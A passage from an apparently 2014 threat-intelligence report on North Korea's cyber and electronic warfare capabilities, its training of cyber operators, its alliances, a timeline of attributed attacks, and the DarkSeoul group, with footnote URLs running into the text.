Whether the targeted entity blames 210 http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf 211 http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf 212 https://www.strategypage.com/htmw/htmurph/articles/20131106.aspx 213 http://www.reddit.com/r/NorthKoreaNews/comments/296ryd/i_am_dr_andrei_lankov_i_studied_in_north_korea/ 214 http://www.northkoreatech.org/2014/08/05/hack-north-korea-focuses-silicon-valley-on-information-flow/ 215 http://www.strategypage.com/htmw/htiw/articles/20131213.aspx 216 http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 North Korea for the attacks, or the regime simply takes credit for an attack that has not yet been attributed, several PSYOP goals can come into play.
First, to claim credit for an attack amplifies the impact of a show of force, particularly if South Korea is the target.
This tactic can be used to stir sentiments in order to provoke a reaction.
Second, North Korea may lay claim to responsibility for an attack that exceeds its capabilities in order to seem more technologically advanced and more capable.
Third, any success, or the appearance thereof, enforces the juche ideal of regime self-sufficiency.
Finally, North Korea may act as a scapegoat and claim credit for a cyber attack of an ally such as China so the attack is not attributed to the real actors.217 Electronic warfare North Korea reportedly has the electronic warfare capabilities to jam GPS and to inject false GPS coordinates.218 North Korea demonstrated these capabilities in March 2011 by jamming South Koreas GPS signals during a joint U.S.-South Korea military exercise.219 North Korea has the capability to create an EMP.220 An EMP is a sudden, extreme outburst of atmospheric electricity creating an intense magnetic field that can burn out electrical equipment.
221  A report from the U.S. Department of Homeland Security (DHS) noted North Koreas ability to deliver a nuclear warhead as a satellite over the South Pole, effectively creating the burst needed to deliver an EMP targeting the United States.
An EMP could effectively disrupt electronic communications including critical infrastructure components such as telecommunications, financial institutions, the energy sector, transportation, food and water delivery, emergency services, and space systems.222 North Korea reportedly acquired its EMP technology from Russia.223 North Korea also has a drone program.
The regime reportedly acquired its first drones in the late 1980s or early 1990s.
The regimes drones are complimentary to its intelligence program and are primarily used for surveillance.224  In early 2014 a North Korean drone crashed south of the 38th parallel, the line dividing North Korea from the south.225 While early reports noted that the drones appeared similar to those manufactured by Chinese company Tauyuan Navigation Friend Aviation Technology, the company denied involvement.226 217 http://fas.org/irp/doddir/army/fm3-05-301.pdf 218 https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg 219 http://www.reuters.com/article/2011/05/03/us-korea-north-cyber-idUSTRE7421Q520110503 220 http://defensetech.org/2007/12/24/inside-dprks-unit-121/ 221 http://usatoday30.usatoday.com/tech/science/2010-10-26-emp_N.htm 222 http://www.wnd.com/2014/04/dhs-study-north-korea-capable-of-emp-attack-on-u-s/ 223 http://www.extremetech.com/extreme/170563-north-korea-emp 224 http://38north.org/2014/07/jbermudez070114/?utm_sourcefeedlyutm_readerfeedlyutm_mediumrssutm_campaignjbermudez070114 225 http://www.popsci.com/blog-network/eastern-arsenal/north-koreas-new-drones-are-chinese-which-opens-new-mystery 226 http://www.scmp.com/news/china-insider/article/1494207/north-korean-drones-not-theirs-says-chinese-retailer Figure 22 A drone attributed to North Korea.
227 Stressing the importance of the regimes electronic warfare capabilities, in 1999 former regime leader Kim Jong Il said The basic key to victory in modern warfare is to do well in electronic warfare.228 Since the regimes advanced technology lags behind that of South Korea and the U.S., its capability to disrupt the communications of these perceived adversaries is a vital asymmetric capability.229 Training cyber warriors North Korea utilizes primary and secondary education and the university system to train its cyber warfare operators.
According to reports by defectors, the regime seeks out children who show mathematical talent and sends them through rigorous advanced training.230 A vintage North Korean animation stresses the importance of mathematics in North Korean education.
The short film follows a young boy as he does his geometry homework.
The frustrated boy begins to daydream then has visions of going to war with the U.S. and needing geometry to effectively calculate missile trajectory during the battle.231 227 http://blogs.wsj.com/korearealtime/2014/04/02/seoul-points-to-north-korea-in-crashed-drones-investigation/ 228 http://www.apcss.org/Publications/Edited20Volumes/BytesAndBullets/CH13.pdf 229 http://www.apcss.org/Publications/Edited20Volumes/BytesAndBullets/CH5.pdf 230 http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html 231 http://theweek.com/article/index/255243/how-to-kill-americans-with-geometry-a-north-korean-propaganda-film-for-kids Figure 23 A screenshot from the North Korean animation depicting geometry as a necessary skill for battle.232 Science and technology students are expected to learn foreign languages, which may include Chinese, Japanese, and English.233 Student emails, chats, and web browsing activities are heavily monitored.234 Around age twelve or thirteen, chosen students are enrolled in accelerated computer courses at First and Second Geumseong Senior-Middle Schools.
232 https://www.youtube.com/watch?vujtp-70zQME 233 https://www.cia.gov/library/center-for-the-study-of-intelligence/csi-publications/csi-studies/studies/vol48no1/article04.html 234 http://www.thestar.com/news/world/2014/02/23/north_korea_where_the_internet_has_just_5500_sites.html Figure 24 North Korean students training for cyber war.235 The successful students are then sent to Kim Il-sung University, Kim Chaek University of Technology,236 or the Command Automation University, traditionally known as Mirim University.
Kim Il-sung Universitys computer center was started in 1985.
Its computer courses have a heavy programming element.
The university reportedly developed the Intelligent Locker hard disc protection program, Worluf Antivirus, SIMNA (simulation and system analysis program), a war games program, a hepatitis diagnosis and prescription system, and a C program development tool called FC 2.0.237 Kim Il-sung University also has programs focusing on nuclear research.238 Kim Chaek University of Technology was established in 1948.
In the late 1990s, it began to restructure its computer-focused courses to reflect more modern technologies.
As of 2002, the university had three colleges focusing on computer science, information science and technology, and machine science.
Software developed by the university includes Computer Fax and SGVision, an image-reprocessing program used for steganography.239 Students and instructors must submit a formal request for permission in order to use the Internet for research.240 235 http://www.courierpress.com/news/2013/apr/19/young-north-koreans-train-seek-revenge-us/ 236 http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html 237 http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf 238 http://www.nti.org/facilities/789/ 239 http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf 240 http://www.theguardian.com/world/2013/jan/08/north-korean-google-chief-search The Command Automation University periodically chooses around 100 students for an intensive five-year course prior to their assignment to serve in cyber intelligence and cyber warfare capacities.241 Programs at the Command Automation University include command automation, computers, programming, automated reconnaissance, and electronic warfare.242 Other students attend a two-year accelerated university program, then study abroad in Russia or China before they are assigned to a cyber-operator role.243 The elite cyber operators are given special incentives.
For example, parents of students graduating from the cyber program with top scores are given the opportunity to live in Pyongyang and married cyber operators are given housing, a food allowance, and a stipend if operating overseas.
Due to the nature of their profession, these cyber elite are some of the only North Koreans allowed to access the outside Internet.244 Important political and military ties While this report focuses on North Koreas cyber warfare capabilities, these capabilities cannot be fully separated from the implications of partnerships with countries known to deal in illegal weapons trade with the regime.
Now that cyberspace has become a legitimate arena for warfare, these nations are also potential allies in the cyber realm.
For this reason, the regimes key political and military relationships are explored below.
China North Korea has a longstanding historical relationship with China.
During the Korean War (1950- 1953), China allied with North Koreas Communist forces.
China has also provided ongoing political and economic support to the regimes leadership and is a primary trade partner.
North Korea is economically dependent on China.
North Korea gets an estimated 90 percent of its energy imports, 80 percent of its consumer goods, and 45 percent of its food supply from China.
This relationship is prudent  in the event of a military conflict, China can strategically use North Korea as a buffer zone between itself and South Korea, where many U.S. military personnel are stationed.
Chinese aid to North Korea also deters the likelihood that the regime will collapse, resulting in internal destabilization that could catalyze a U.S.-China conflict.245 North Korea relies heavily on China for technological resources.
As noted above, North Korea relies on Chinas Unicom for Internet access.246 Additionally, the regime sends some of its cyber warriors to train in China247 and stations a portion of its Unit 121 personnel in Shenyang.248 Some of North Koreas official websites are hosted in China, 249 and KCC has a branch office there.250 241 https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg 242 http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf 243 http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html 244 http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html 245 http://www.cfr.org/china/china-north-korea-relationship/p11097p1 246 https://rdns.im/the-pirate-bay-north-korean-hosting-no-its-fake-p2 247 http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html 248 http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 249 http://binarycore.org/2012/05/30/investigating-north-koreas-netblock-part-3-topology/ 250 http://www.naenara.com.kp/en/kcc/ North Korea also relies on China to provide much of its network hardware, including servers and routers.251 Russia North Korea has a long history of ties to Russia.
The former Soviet Union was the major sponsor of the North Korean state and a major trading partner.
Following the dissolution of the Soviet Union, aid to North Korea was halted and trade diminished significantly.
This chain of events contributed to North Koreas eventual economic collapse, as it could not survive without aid.252 North Korea currently has a collaborative relationship with Russia in the cyber realm.
The regimes CSTIA relies on Russia as one of several sources for technical data.253  North Korea also sends some of its cyber warriors to train in Russia,254 and the regime reportedly acquired its EMP technology from there.255 Political ties between Russia and North Korea have become stronger in recent months.
In 2014, potentially as a result of the U.S. response to the Russian-Ukranian conflict, Russia began to strengthen ties with North Korea.
Negotiations reportedly included promises of trade and development projects.
Narushige Michishita, a North Korea and Asia security expert at Japans National Graduate Institute for Policy Studies, stated By strengthening its relationship with North Korea, Russia is trying to enhance its bargaining position vis--vis the United States and Japan.256 Russia also recently forgave most of the regimes debts.257 Iran North Korea and Iran have longstanding political and military ties.
North Korea supplied Iran with conventional arms during the Iran-Iraq War.
Iran and North Korea reportedly collaborate closely in ballistic missile development efforts.
In the past, Iran provided the North Korean regime with necessary funds and oil in exchange for missile parts and technology.
258 259 In 2009, a North Korean plane transporting 35 tons of weapons and allegedly bound for Iran was seized after making an unscheduled stop in Bangkok, Thailand.
That same year, United Arab Emirates seized a ship bound for Iran that was transporting several containers of North Korean weapons, including rocket-propelled grenades and ammunition.
Reportedly, the customer was a company affiliated with Irans Islamic Revolutionary Guard Corps.
260 261 North Korea also has cyberwar ties with Iran.
In 2012, North Korea and Iran signed a technology treaty to help combat common enemies in cyberspace.
The treaty included provisions for cooperation in research, student exchanges, and joint laboratories.
Joint projects reportedly 251 http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 252 http://www.aljazeera.com/indepth/opinion/2014/06/n-korea-russia-step-toward-worl-201462253320470677.html 253 https://www.cia.gov/library/center-for-the-study-of-intelligence/kent-csi/vol48no1/pdf/v48i1a04p.pdf 254 http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html 255 http://www.extremetech.com/extreme/170563-north-korea-emp 256 http://www.theguardian.com/world/2014/jun/04/russia-bolster-ties-north-korea 257 http://www.voanews.com/content/russia-forgives-north-korean-debt/1939188.html 258 http://thediplomat.com/2013/10/the-iran-secret-explaining-north-koreas-rocket-success/2/ 259 http://humanities.tau.ac.il/iranian/en/previous-reviews/10-iran-pulse-en/117-10 260 http://www.armscontrol.org/factsheets/dprkchron 261 http://www.irantracker.org/foreign-relations/north-korea-iran-foreign-relations include IT information sharing, engineering, biotechnology, renewable energy, and sustainability.
F-Secures Mikko Hypponen stated, Its highly likely that one of the reasons for this co-operation is for them to work together regarding their cyber defence and cyber offense strategies.
Hypponen cited Flame malware as a possible triggering event for the creation of this treaty.
Others also suspect that Iran and North Koreas mutual interest in development of nuclear weapons and the need to protect refineries against malware such as Stuxnet were driving factors in the establishment of the treaty.262 U.S. House Foreign Affairs Committee leaders assert that the treaty indicates North Korea and Iran are collaborating on a joint nuclear weapons program.263 Additionally, North Korea, in conjunction with Iran and Syria, reportedly supports both Hamas and Hezbollah in procuring kinetic weaponry and communications equipment and in establishing operational infrastructure.264 265 266 Syria North Korea has both a cyber relationship and kinetic weapons ties with Syria.
KCC reportedly has a branch in Syria.267 In 2007, Israel launched an airstrike, destroying a Syrian target that was allegedly a nuclear facility under construction with North Koreas assistance.
U.S. officials noted the facility was modeled on the North Korean nuclear reactor at Yongbyon.268 The North Korea-Syria relationship becomes more important in the context of both countries ties with Iran.
As noted above, Iran, North Korea, and Syria jointly provide support to extremist groups Hamas and Hezbollah.269 270 271 Additionally, as we explored in HPSR Security Briefing Episode 11, Iran and Syrias military alliances extend to joint SIGINT and cyber operations.272 Cuba North Korea also has an interesting relationship with Cuba  one that includes supplying weapons and apparent attempts to illegally smuggle weapons.
In 2013, a North Korean cargo ship on its return voyage was stopped near the Panama Canal.
The ship was carrying surface-to-air missile parts, disguised as containers of sugar.
In an attempt to save face, Cubas Ministry of Foreign Affairs stated that the cargo included 240 metric tons of obsolete defensive weapons -- two anti- aircraft missile complexes Volga and Pechora, nine missiles in parts and spares, two Mig-21 Bis and 15 motors for this type of airplane, all of it manufactured in the mid-20th century -- to be 262 http://www.v3.co.uk/v3-uk/news/2202493/iran-and-north-korea-sign-technology-treaty-to-combat-hostile-malware 263 http://www.voanews.com/content/ties-among-north-korea-syria-iran-a-major-security-threat/1639769.html 264http://38north.org/2014/08/aberger080514/?utm_sourcefeedburnerutm_mediumfeedutm_campaignFeed3A38North2838North3A InformedAnalysisofNorthKorea29 265 http://www.jewishjournal.com/opinion/article/hamas_global_support_network_must_be_targeted 266 http://www.ibtimes.com/north-korea-send-hamas-weapons-communication-equipment-secret-arms-deal-1640088 267 http://www.naenara.com.kp/en/kcc/ 268 http://www.armscontrol.org/factsheets/dprkchron 269http://38north.org/2014/08/aberger080514/?utm_sourcefeedburnerutm_mediumfeedutm_campaignFeed3A38North2838North3A InformedAnalysisofNorthKorea29 270 http://www.jewishjournal.com/opinion/article/hamas_global_support_network_must_be_targeted 271 http://www.ibtimes.com/north-korea-send-hamas-weapons-communication-equipment-secret-arms-deal-1640088 272 http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/HPSR-Threat-Intelligence-Briefing-Episode-11/ba-p/6385243.U_TiZGSwL-0 http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/HPSR-Threat-Intelligence-Briefing-Episode-11/ba-p/6385243 repaired and returned to Cuba.
Experts said the cargo appeared to include a SNR-75 Fan Song fire-control radar system for an SA-2 missile, a Soviet-era missile system that was also used in Cuba.273 Following the incident, Fidel Castro credited former North Korean leader Kim Il-Sung for providing Cuba with weapons near the end of the Cold War.
Weapons included 100,000 AK rifles and necessary ammunition.274 While no apparent cyber relationship exists between North Korea and Cuba at this time, their track record for weapons trade means the potential for future collaboration in the cyber realm cannot be discounted.
Timeline of significant North Korean cyber activity 2004 North Korea gains access to 33 South Korean military wireless communication networks275 2006 The U.S. State Department is attacked by entities in the East Asia-Pacific region.
The attacks coincided with State Department negotiations with North Korea regarding the regimes nuclear missile tests.
(
June)276 A South Korean military official states North Koreas Unit 121 has breached South Korean and U.S. military entities.
(
July)277 2007 North Korea tests a logic bomb (October)278 2009 North Korea states that it is fully ready for any form of high-tech war.
(
June)279 DarkSeoul DDoS and disk wiping malware targeting South Korean and U.S. government, media outlet, and financial websites.
These attacks also coincided with U.S.
Independence Day.
(
July)280 281 Malware for Operation Troy was likely planted.282 2010 DarkSeoul Backdoor.
Prioxer detected (June) 283 Korean Central News Agency website becomes North Koreas first known direct connection to the Internet (October)284 273 http://www.nbcnews.com/news/other/north-korean-ship-carrying-hidden-missile-equipment-detained-after-leaving-f6C10647045 274 http://www.abc.net.au/news/2013-08-15/fidel-castro-cuba-north-korea-war-ussr/4887920 275 http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea 276 http://www.informationweek.com/state-department-releases-details-of-computer-system-attacks/d/d-id/1045112?
277 http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea 278 http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea 279 http://www.huffingtonpost.com/2009/07/11/north-korea-army-lab-110-_n_229986.html 280 http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war 281 http://powerofcommunity.net/poc2009/si.pdf 282 http://www.darkreading.com/attacks-and-breaches/south-korean-bank-hackers-target-us-military-secrets/d/d-id/1110674?
283 http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war 284 http://www.northkoreatech.org/2010/10/09/the-new-face-of-kcna/ 2011 10 Days of Rain Attack - DarkSeoul DDoS and disk wiping malware against South Korean media, financial, and critical infrastructure targets (March)285 286 North Korea disrupts South Korean GPS signals (March)287 North Korea reportedly attempts DDoS attack against Incheon Airport 288 Nonghyup bank suffers DDoS attack (April)289 2012 South Korean newspaper JoongAng Ilbo attacked (June)290 DarkSeoul Downloader.
Castov detected (October)291 North Korea signs treaty with Iran, agreeing to combat common enemies in cyberspace292 2013 March 20 disk wiping attacks against South Korean media and financial institutions (March)293 Whois Team claims responsibility for attacking LG U website with wiper malware and defacement, impacting South Korean media and financial institutions (March) 294 295 The New Romantic Cyber Army Team claims responsibility for the same attacks296 North Korea experiences 36-hour Internet outage.
The cause was never definitively determined297 Anonymous launches OpNorthKorea and targets North Korean websites (March)298 Anonymous allegedly hacks Uriminzokkiri and takes over its Twitter and Flickr pages 299 (April) DarkSeoul attack on South Korean financial institutions (May)300 DarkSeoul DDoS attacks against South Korean governments DNS server (June)301 Details on Kimsuky malware, which targeted South Korean think tanks, first released (September)302 2014 North Korean drones found near South Korean border (March and April)303 285 http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war 286 https://docs.google.com/file/d/0B6CK-ZBGuMe4dGVHdTZnenJMRUk/preview?pli1 287 http://www.reuters.com/article/2011/05/03/us-korea-north-cyber-idUSTRE7421Q520110503 288 http://threatpost.com/report-north-korea-accused-ddos-attack-south-korean-airport-060712/76664 289 http://koreajoongangdaily.joins.com/news/article/article.aspx?aid2965629 290 http://www.theaustralian.com.au/news/latest-news/south-korean-newspaper-joongang-ilbo-hit-by-major-cyber-attack/story-fn3dxix6- 1226391202749 291 http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war 292 http://www.v3.co.uk/v3-uk/news/2202493/iran-and-north-korea-sign-technology-treaty-to-combat-hostile-malware 293 http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war 294 http://www.zdnet.com/massive-attack-on-lg-uplus-sparks-n-korea-reprisal-fears-7000012881/ 295 http://www.theregister.co.uk/Print/2013/03/22/sk_megahack/ 296 http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/2 297 http://www.computerworld.com/s/article/9237652/North_Korea_39_s_Internet_returns_after_36_hour_outage 298 http://www.northkoreatech.org/2013/03/30/tango-down-more-attacks-on-dprk-websites/ 299 http://www.washingtontimes.com/news/2013/apr/4/anonymous-hackers-bring-down-north-korean-websites/ 300 http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war 301 http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war 302 http://www.securelist.com/en/analysis/204792305/The_Kimsuky_Operation_A_North_Korean_APT 303 http://blogs.wsj.com/korearealtime/2014/04/02/seoul-points-to-north-korea-in-crashed-drones-investigation/ Patterns in the noise: cyber incidents attributed to North Korean actors It is interesting to note that much of North Koreas cyber activity follows a distinct pattern.
Analysis of North Korean cyber activity gives insight into these patterns and also helps tie together North Koreas strategic, tactical, and operational capabilities.
Strategic capabilities refer to the assets used in support of a long-term, overarching goal.
Tactical capabilities refer to the methods and maneuvers actually implemented in pursuit of the strategic goal.304 Operational capabilities refer to the potential use of these capabilities.305 In 2004, in response to the annual U.S.  South Korea joint military exercises, North Korea reportedly gained access to 33 South Korean military wireless communication networks.306 The next significant cyber attack attributed to North Korea was in June 2006.
The U.S. State Department was attacked by entities in the East Asia-Pacific region.
The attacks coincided with State Department negotiations with North Korea regarding the regimes nuclear missile tests.307 In July 2006, North Koreas Unit 121 reportedly breached South Korean and U.S. military entities.308 This attack was concurrent with the regimes test-fire of at least one long-range missile and several medium-range missiles.309 2007 was politically tumultuous for North Korea.
Following multi-national talks, the UNs International Atomic Energy Agency (IAEA) ordered the shutdown of the regimes nuclear facilities in Yongbyon in July.310 Its nuclear efforts temporarily thwarted, North Korea tested a logic bomb in October 2007.311 In April 2009, North Korea ejected IAEA and U.S. nuclear compliance officials.
The regime indicated refusal to comply with any UN agreements regarding nuclear weaponry and announced it would reinstate its nuclear materials production.
The next month, North Korea conducted an underground nuclear test and voiced its confidence that the regime was well on its way to producing viable nuclear technology.
The UN called an emergency meeting condemning the nuclear weapons test, and South Korea joined the Proliferation Security Initiative (PSI).
North Korea issued a statement via KCNA calling South Koreas involvement in PSI an act of war.312 In June 2009, North Korea stated that it was fully ready for any form of high-tech war.313 The following month, DDoS and disk wiping malware, later known as DarkSeoul, targeted South Korean and U.S. government entities, media outlets, and financial websites.
The attacks coincided 304 http://www.scholastic.com/teachers/article/strategy-and-tactics-military 305 http://www.dau.mil/pubscats/Pages/preface.aspx 306 http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea 307 http://www.informationweek.com/state-department-releases-details-of-computer-system-attacks/d/d-id/1045112?
308 http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea 309 https://www.google.com/url?satrctjqesrcssourcewebcd2ved0CCMQFjABurlhttp3A2F2Fwww.bbc.com2Fnews2Fworld- asia-pacific- 15278612eifabyU6XQLsLFigLH94GIAwusgAFQjCNGbrzkNZJ5tz4jmLyMPsCHEHc41WAsig2l8FMAdbvzFxYeBBOAMWO6Qbvmbv.73231344,d .cGEcadrja 310 http://www.armscontrol.org/factsheets/dprkchron 311 http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea 312 http://www.armscontrol.org/factsheets/dprkchron 313 http://www.huffingtonpost.com/2009/07/11/north-korea-army-lab-110-_n_229986.html http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea http://www.informationweek.com/state-department-releases-details-of-computer-system-attacks/d/d-id/1045112 http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea http://www.huffingtonpost.com/2009/07/11/north-korea-army-lab-110-_n_229986.html with U.S.
Independence Day.314 315 Other malware used for Operation Troy was also planted.
Operation Troy would continue for several years, largely undetected.316 In early 2011, political and military tensions were high.
In February, James Clapper, United States Director of National Intelligence, testified that North Korea likely had undeclared uranium enrichment facilities as part of its nuclear weapons program.317 In March 2011, South Korean media, financial, and critical infrastructure targets suffered a DDoS and disk-wiping malware attack later known as the 10 Days of Rain.
U.S. and South Korean military entities were also targeted by DDoS during this attack.
The attack used the DarkSeoul malware.318 North Korea also disrupted South Korean GPS signals.
Additionally, North Korean actors reportedly attempted a DDoS attack against South Koreas Incheon Airport that same month.319 These incidents coincided with the annual U.S.  South Korea joint military exercises.320 The following month, North Korean actors reportedly launched a DDoS attack against South Koreas Nonghyup bank.321 In 2012, an attack on South Korean Newspaper JoongAng Ilbo was attributed to North Korean actors.
This attack also coincided with the timing of the annual joint U.S.  South Korea military exercises.322 In September 2012, North Korea signed a cyber treaty with Iran, agreeing the two nations would collaborate to combat common enemies in cyberspace.323 The week of March 11, 2013, the U.S. and South Korea began their annual joint military exercise near the Korean Peninsula.
Like clockwork, attacks attributed to North Korea and now known as the March 20 attacks targeted three South Korean media outlets and Shinhan, Nonghyup, and Jeju banks.
North Korea also exhibited other hostile activity at that time.
North Korea cut communication with Seoul and announced it had scrapped the 1953 armistice between the two Koreas.
North Koreas foreign ministry also issued a statement that it perceived this exercise as a precursor to invasion and that the regime would respond with a strong military counteraction if the situation escalated.324  That same week, the North Korean military conducted a drone attack simulation.325 On March 18, the Uriminzokkiri YouTube channel posted an anti-U.S. video entitled Firestorms Will Rain on the Headquarters of War that showed a depiction of the White House in crosshairs, followed by an explosion.326 314  http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war 315 http://powerofcommunity.net/poc2009/si.pdf 316  http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war 317 http://www.armscontrol.org/factsheets/dprkchron 318 http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war 319 http://threatpost.com/report-north-korea-accused-ddos-attack-south-korean-airport-060712/76664 320 http://www.reuters.com/article/2011/05/03/us-korea-north-cyber-idUSTRE7421Q520110503 321 http://koreajoongangdaily.joins.com/news/article/article.aspx?aid2965629 322 http://www.theaustralian.com.au/news/latest-news/south-korean-newspaper-joongang-ilbo-hit-by-major-cyber-attack/story-fn3dxix6- 1226391202749 323 http://www.v3.co.uk/v3-uk/news/2202493/iran-and-north-korea-sign-technology-treaty-to-combat-hostile-malware 324 http://www.presstv.com/detail/2013/03/20/294499/north-korea-threatens-us-over-bombers/ 325 http://www.huffingtonpost.com/2013/03/20/north-koreas-drone_n_2914794.html 326 https://www.youtube.com/watch?vDyap eCiOl9A http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war http://powerofcommunity.net/poc2009/si.pdf http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war http://koreajoongangdaily.joins.com/news/article/article.aspx?aid2965629 http://www.theaustralian.com.au/news/latest-news/south-korean-newspaper-joongang-ilbo-hit-by-major-cyber-attack/story-fn3dxix6-1226391202749 http://www.theaustralian.com.au/news/latest-news/south-korean-newspaper-joongang-ilbo-hit-by-major-cyber-attack/story-fn3dxix6-1226391202749 http://www.v3.co.uk/v3-uk/news/2202493/iran-and-north-korea-sign-technology-treaty-to-combat-hostile-malware https://www.youtube.com/watch?vDyap Figure 25 Uriminzokkiri YouTube video portraying anti-U.S. sentiments.
327 In May 2013, DarkSeoul malware was used to attack several South Korean financial institutions and in June, DarkSeoul DDoS attacks were launched against the South Korean governments DNS server.
The latter took place on June 25, the anniversary of the start of the Korean War.328 As evidenced above, much of North Koreas cyber activity coincides with the annual U.S.  South Korea joint military exercises.
Attacks not following that pattern were typically in response to political events impacting the regime or correlated with significant dates, such as the anniversary of the start of the Korean War.
The regimes strategic assets and tactical capabilities in the cyber arena seem to have evolved only slightly since 2009.
Most of the attacks attributed to North Korea employ limited tactics, and their operational capability demonstrates an increase in the frequency and volume of attacks but is otherwise unimpressive to date.
In June 2014, the regime demanded cancellation of the annual U.S. - South Korea joint military exercise, attempting to use participation in the upcoming Asian Games as a bargaining chip.329 The regimes demands may have had other political motivations, as they preceded the July 2014 meeting between South Korean president Park and Chinese President Xi Jinping.
The meeting 327 https://www.youtube.com/watch?vDyapeCiOl9A 328  http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war 329 http://www.theguardian.com/world/2014/jun/30/north-korea-demands-cancellation-drills http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war centered on trade and regional security issues, including the ever-present rhetoric around denuclearization of North Korea.330 Both leaders were critical of Japans recent announcement to soften sanctions on North Korea.331 As this report headed to press, the annual U.S.  South Korea joint military exercises were underway.332 DarkSeoul The most prominent North Korean threat actor group is the group responsible for the DarkSeoul malware.
According to statements from the South Korean government, North Koreas Lab 110 were the actors behind the DarkSeoul malware.
South Korean intelligence reports stated that Lab 110, which is affiliated with the regimes defense ministry, was ordered by the North Korean regime to destroy South Korean communications networks.333  Although the March 20 attacks used DarkSeoul malware, it is interesting to note that two groups, WhoIs Team and New Romantic Cyber Army Team, claimed responsibility for the March 20 2013 attacks on South Korean media and financial institutions.334 Some of the DarkSeoul attacks corresponded with significant dates, such as U.S.
Independence Day or the anniversary of the start of the Korean War.
DarkSeoul attacks go beyond denial of service and sabotage.
As early as 2009, the group responsible for the Dark Seoul attacks launched Operation Troy, an espionage campaign targeting the South Korean military.
The operation was codenamed Troy due to the frequent use of the word Troy in the malwares compile path strings.335 The malware used in these attacks sought out and exfiltrated data, based on keyword searches.
While the malware was clearly intended to search for and exfiltrate certain types of data, its true impact on the targets was never revealed.
336 The March 2011 10 Days of Rain DDoS attacks on U.S. and South Korean sites have also been attributed to the actors associated with DarkSeoul.337 According to Symantec, the politically motivated attacks have required a level of intelligence, coordination, monetary support, and technical sophistication that suggests state sponsorship.338 This designation means the group can be considered an advanced persistent threat (APT).
A March 20, 2013 attack attributed to the DarkSeoul actors targeted three South Korean media outlets and Shinhan, Nonghyup, and Jeju banks.
The impact of the March 20 attacks included disruption of service at financial institutions and data deletion.
However, the targeted entities resumed normal operations shortly thereafter.339 According to South Korean reports, the media outlets targeted corresponded with those listed by the North Korean regime in 2012 as right-wing press that manipulated South Koreas public opinion.
